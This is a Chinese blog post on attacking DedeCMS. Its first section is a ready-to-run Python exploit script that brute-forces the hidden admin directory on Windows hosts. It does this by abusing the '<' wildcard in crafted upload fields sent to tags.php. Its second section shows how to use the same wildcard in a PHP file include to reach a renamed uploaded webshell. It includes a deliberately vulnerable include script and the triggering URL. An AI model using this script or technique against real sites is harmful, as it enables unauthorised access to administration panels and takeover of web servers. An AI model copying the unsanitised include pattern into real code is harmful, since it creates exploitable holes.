解決DEDECMS歷史難題--找后臺目錄

0x01 dedecms 后臺地址爆破

詳細分析見文章:https://xianzhi.aliyun.com/forum/topic/2064

關鍵點:

  1. Windows環境
  2. 存在包含了Common.inc.php的php文件,如tags.php
  3. 如何使用的是其他文件,如/plus/diy.php,則payload前面需要加../跳轉到上一級目錄

文章提供了一個php的exp,評論區也有其他的exp,我簡單搞了一下py腳本,有點拙劣,但還算能用:

#coding:utf-8
#author:JuH0n
import requests

def sendpayload(url,payload):
    data = {'dopost':'save',
        '_FILES[b4dboy][tmp_name]':'./' + payload + '</images/admin_top_logo.gif',
        '_FILES[b4dboy][name]':'0',
        '_FILES[b4dboy][size]':'0',
        '_FILES[b4dboy][type]':'image/gif'
        }
    r = requests.post(url=url,data=data)
    # print r.content
    if 'Upload filetype not allow !' in r.content:
        return False
    else:
        return True

def exp():
    List = list('abcdefghijklmnopqrstuvwxyz0123456789_')
    domain = 'http://localhost/dedecms'#修改此處域名
    url = domain + '/' + 'tags.php'
    payload = ''

    for x in List:
        if payload !='':
            break
        for y in List:
            print 'testing:',x+y
            if sendpayload(url,payload+x+y):
                payload += x+y
                break
    print 2,payload

    for x in range(2,30):
        if x!= len(payload):
            break
        for y in List:
            if sendpayload(url,payload+y):
                payload += y
                print x+1,payload
                break

    admin_path = domain + '/' + payload
    print '\nThe admin_path is:\t' + admin_path

exp()
0x02 通配符突破文件上傳重命名getshell

然后還有一個奇淫技巧,就是當我們上傳一個shell被重命名的時候,我們可以利用文件包含和通配符<或者<<來包含shell,從而達到getshell的目的。
新建兩個文件,5149ff33ebec0e6ad37613ea30694c07.php、demo.php。

#5149ff33ebec0e6ad37613ea30694c07.php
<?php
        phpinfo();
?>
# demo.php
<?php
        $filename = $_GET["file"];
        include $filename.".php";
?>

訪問 http://localhost/demo.php?file=5&lt,即可成功包含5149ff33ebec0e6ad37613ea30694c07.php文件。

參考:奇技淫巧 | 讀DEDECMS找后臺目錄有感

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容